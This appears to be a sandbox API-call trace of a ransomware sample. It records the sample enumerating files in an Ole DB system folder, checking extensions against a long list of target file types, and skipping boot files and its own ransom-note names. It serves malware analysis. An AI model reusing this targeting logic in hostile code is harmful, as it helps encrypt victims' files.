	[0189.438] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0
	[0189.439] FindClose (in: hFindFile=0x3fb2818 | out: hFindFile=0x3fb2818) returned 1
	[0189.439] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1
	[0189.439] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1
	[0189.440] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1
	[0189.440] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1
	[0189.440] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1
	[0189.440] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1
	[0189.440] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1
	[0189.440] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1
	[0189.440] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0189.440] lstrlenW (lpString=".1cd") returned 4
	[0189.440] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.440] lstrlenW (lpString=".3ds") returned 4
	[0189.440] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1
	[0189.440] lstrlenW (lpString=".3fr") returned 4
	[0189.440] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1
	[0189.440] lstrlenW (lpString=".3g2") returned 4
	[0189.440] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1
	[0189.440] lstrlenW (lpString=".3gp") returned 4
	[0189.441] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".7z") returned 3
	[0189.441] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.441] lstrlenW (lpString=".accda") returned 6
	[0189.441] lstrcmpiW (lpString1=".accda", lpString2="bs.inc") returned -1
	[0189.441] lstrlenW (lpString=".accdb") returned 6
	[0189.441] lstrcmpiW (lpString1=".accdb", lpString2="bs.inc") returned -1
	[0189.441] lstrlenW (lpString=".accdc") returned 6
	[0189.441] lstrcmpiW (lpString1=".accdc", lpString2="bs.inc") returned -1
	[0189.441] lstrlenW (lpString=".accde") returned 6
	[0189.441] lstrcmpiW (lpString1=".accde", lpString2="bs.inc") returned -1
	[0189.441] lstrlenW (lpString=".accdt") returned 6
	[0189.441] lstrcmpiW (lpString1=".accdt", lpString2="bs.inc") returned -1
	[0189.441] lstrlenW (lpString=".accdw") returned 6
	[0189.441] lstrcmpiW (lpString1=".accdw", lpString2="bs.inc") returned -1
	[0189.441] lstrlenW (lpString=".adb") returned 4
	[0189.441] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".adp") returned 4
	[0189.441] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".ai") returned 3
	[0189.441] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1
	[0189.441] lstrlenW (lpString=".ai3") returned 4
	[0189.441] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".ai4") returned 4
	[0189.441] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".ai5") returned 4
	[0189.441] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".ai6") returned 4
	[0189.441] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".ai7") returned 4
	[0189.441] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".ai8") returned 4
	[0189.441] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1
	[0189.441] lstrlenW (lpString=".anim") returned 5
	[0189.441] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1
	[0189.441] lstrlenW (lpString=".arw") returned 4
	[0189.441] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".as") returned 3
	[0189.442] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1
	[0189.442] lstrlenW (lpString=".asa") returned 4
	[0189.442] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".asc") returned 4
	[0189.442] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".ascx") returned 5
	[0189.442] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1
	[0189.442] lstrlenW (lpString=".asm") returned 4
	[0189.442] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".asmx") returned 5
	[0189.442] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1
	[0189.442] lstrlenW (lpString=".asp") returned 4
	[0189.442] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".aspx") returned 5
	[0189.442] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1
	[0189.442] lstrlenW (lpString=".asr") returned 4
	[0189.442] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".asx") returned 4
	[0189.442] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".avi") returned 4
	[0189.442] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".avs") returned 4
	[0189.442] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".backup") returned 7
	[0189.442] lstrcmpiW (lpString1=".backup", lpString2="vbs.inc") returned -1
	[0189.442] lstrlenW (lpString=".bak") returned 4
	[0189.442] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".bay") returned 4
	[0189.442] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".bd") returned 3
	[0189.442] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1
	[0189.442] lstrlenW (lpString=".bin") returned 4
	[0189.442] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".bmp") returned 4
	[0189.442] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1
	[0189.442] lstrlenW (lpString=".bz2") returned 4
	[0189.443] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".c") returned 2
	[0189.443] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1
	[0189.443] lstrlenW (lpString=".cdr") returned 4
	[0189.443] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cer") returned 4
	[0189.443] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cf") returned 3
	[0189.443] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1
	[0189.443] lstrlenW (lpString=".cfc") returned 4
	[0189.443] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cfm") returned 4
	[0189.443] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cfml") returned 5
	[0189.443] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1
	[0189.443] lstrlenW (lpString=".cfu") returned 4
	[0189.443] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".chm") returned 4
	[0189.443] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cin") returned 4
	[0189.443] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".class") returned 6
	[0189.443] lstrcmpiW (lpString1=".class", lpString2="bs.inc") returned -1
	[0189.443] lstrlenW (lpString=".clx") returned 4
	[0189.443] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".config") returned 7
	[0189.443] lstrcmpiW (lpString1=".config", lpString2="vbs.inc") returned -1
	[0189.443] lstrlenW (lpString=".cpp") returned 4
	[0189.443] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cr2") returned 4
	[0189.443] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".crt") returned 4
	[0189.443] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".crw") returned 4
	[0189.443] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1
	[0189.443] lstrlenW (lpString=".cs") returned 3
	[0189.443] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1
	[0189.444] lstrlenW (lpString=".css") returned 4
	[0189.444] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".csv") returned 4
	[0189.444] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".cub") returned 4
	[0189.444] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dae") returned 4
	[0189.444] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dat") returned 4
	[0189.444] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".db") returned 3
	[0189.444] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1
	[0189.444] lstrlenW (lpString=".dbf") returned 4
	[0189.444] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dbx") returned 4
	[0189.444] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dc3") returned 4
	[0189.444] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dcm") returned 4
	[0189.444] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dcr") returned 4
	[0189.444] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".der") returned 4
	[0189.444] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dib") returned 4
	[0189.444] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dic") returned 4
	[0189.444] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".dif") returned 4
	[0189.444] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".divx") returned 5
	[0189.444] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1
	[0189.444] lstrlenW (lpString=".djvu") returned 5
	[0189.444] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1
	[0189.444] lstrlenW (lpString=".dng") returned 4
	[0189.444] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1
	[0189.444] lstrlenW (lpString=".doc") returned 4
	[0189.445] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".docm") returned 5
	[0189.445] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1
	[0189.445] lstrlenW (lpString=".docx") returned 5
	[0189.445] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.445] lstrlenW (lpString=".dot") returned 4
	[0189.445] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dotm") returned 5
	[0189.445] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1
	[0189.445] lstrlenW (lpString=".dotx") returned 5
	[0189.445] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1
	[0189.445] lstrlenW (lpString=".dpx") returned 4
	[0189.445] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dqy") returned 4
	[0189.445] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dsn") returned 4
	[0189.445] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dt") returned 3
	[0189.445] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1
	[0189.445] lstrlenW (lpString=".dtd") returned 4
	[0189.445] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dwg") returned 4
	[0189.445] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dwt") returned 4
	[0189.445] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".dx") returned 3
	[0189.445] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1
	[0189.445] lstrlenW (lpString=".dxf") returned 4
	[0189.445] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".edml") returned 5
	[0189.445] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1
	[0189.445] lstrlenW (lpString=".efd") returned 4
	[0189.445] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".elf") returned 4
	[0189.445] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1
	[0189.445] lstrlenW (lpString=".emf") returned 4
	[0189.445] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".emz") returned 4
	[0189.446] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".epf") returned 4
	[0189.446] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".eps") returned 4
	[0189.446] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".epsf") returned 5
	[0189.446] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1
	[0189.446] lstrlenW (lpString=".epsp") returned 5
	[0189.446] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1
	[0189.446] lstrlenW (lpString=".erf") returned 4
	[0189.446] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".exr") returned 4
	[0189.446] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".f4v") returned 4
	[0189.446] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".fido") returned 5
	[0189.446] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1
	[0189.446] lstrlenW (lpString=".flm") returned 4
	[0189.446] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".flv") returned 4
	[0189.446] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".frm") returned 4
	[0189.446] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".fxg") returned 4
	[0189.446] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".geo") returned 4
	[0189.446] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".gif") returned 4
	[0189.446] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".grs") returned 4
	[0189.446] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1
	[0189.446] lstrlenW (lpString=".gz") returned 3
	[0189.446] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1
	[0189.446] lstrlenW (lpString=".h") returned 2
	[0189.446] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1
	[0189.446] lstrlenW (lpString=".hdr") returned 4
	[0189.447] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".hpp") returned 4
	[0189.447] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".hta") returned 4
	[0189.447] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".htc") returned 4
	[0189.447] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".htm") returned 4
	[0189.447] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".html") returned 5
	[0189.447] lstrcmpiW (lpString1=".html", lpString2="s.inc") returned -1
	[0189.447] lstrlenW (lpString=".icb") returned 4
	[0189.447] lstrcmpiW (lpString1=".icb", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".ics") returned 4
	[0189.447] lstrcmpiW (lpString1=".ics", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".iff") returned 4
	[0189.447] lstrcmpiW (lpString1=".iff", lpString2=".inc") returned -1
	[0189.447] lstrlenW (lpString=".inc") returned 4
	[0189.447] lstrcmpiW (lpString1=".inc", lpString2=".inc") returned 0
	[0189.447] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0189.447] lstrlenW (lpString=".Z9") returned 3
	[0189.447] lstrcmpiW (lpString1=".Z9", lpString2="inc") returned -1
	[0189.447] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0189.447] lstrcmpiW (lpString1="boot.ini", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="bootfont.bin", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="ntldr", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="ntdetect.com", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="io.sys", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="Info.hta", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="oledbvbs.inc") returned -1
	[0189.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.447] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1
	[0189.447] lstrlenW (lpString="sqloledb.dll") returned 12
	[0189.448] lstrlenW (lpString=".1cd") returned 4
	[0189.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".3ds") returned 4
	[0189.448] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".3fr") returned 4
	[0189.448] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".3g2") returned 4
	[0189.448] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".3gp") returned 4
	[0189.448] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".7z") returned 3
